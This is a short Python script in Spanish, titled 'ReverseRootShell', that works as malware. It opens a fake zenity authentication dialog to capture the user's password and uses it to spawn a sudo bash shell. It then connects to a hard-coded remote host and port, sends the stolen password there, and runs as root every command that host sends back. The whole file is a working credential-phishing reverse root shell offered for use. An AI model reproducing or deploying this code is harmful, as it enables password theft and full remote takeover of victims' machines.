ReverseRootShell con Python

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Autor: WhiZ

from pexpect import spawn, run
import socket

class ReverseRootShell(object):
	
	def __init__(self):
		
		# Obtenemos la contraseña del root
		self.passwd = self.obtienePasswd()
		
		# Nos conectamos al cliente
		self.servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.servidor.connect(('192.168.0.131', 2236))
		
		# Obtenemos la shell como root
		self.obtieneRootShell()
		
		# Escuchamos al cliente
		self.escuchaCliente()
		
		self.servidor.close()

	def obtienePasswd(self):
		
		zenity = '''zenity --password --title="Autenticación"'''
		
		passwd = run(zenity).replace('\n', '')
		return passwd
	
	def obtieneRootShell(self):
		
		# Ejecutamos la shell como root
		self.child = spawn('sudo /bin/bash')
		
		# Enviamos la contraseña ingresada anteriormente
		# por el usuario
		self.child.sendline(self.passwd)
		
		# Enviamos el output al host remoto
		salida = self.child.next() + self.passwd + '\n'
		self.servidor.send(salida)

	def escuchaCliente(self):
		
		while True:
			recibido = self.servidor.recv(1024)
			
			if recibido == 'Desconectar':
				break
			
			else:
				self.ejecutaComando(recibido)
	
	def ejecutaComando(self, comando):
		
		# Ejecutamos el comando (siempre como root)
		self.child.sendline(comando)
		
		# Enviamos el output al host remoto
		
		while True:
			
			try:
				salida =  self.child.read_nonblocking(timeout=5)
				self.servidor.send(salida)
				
				# NOTA: Como es un poco complicado manejar el output
				# con pexpect, lo que hice fue frenar el bucle tras
				# 5 segundos de inactividad.
				# Esto significa que si utilizamos comandos 'lentos'
				# por ej., escaneamos la red con nmap, deberemos
				# presionar la tecla 'enter' cada tanto para ir 
				# cargando los datos que vayan apareciendo
				
			except:
				break

rrs = ReverseRootShell()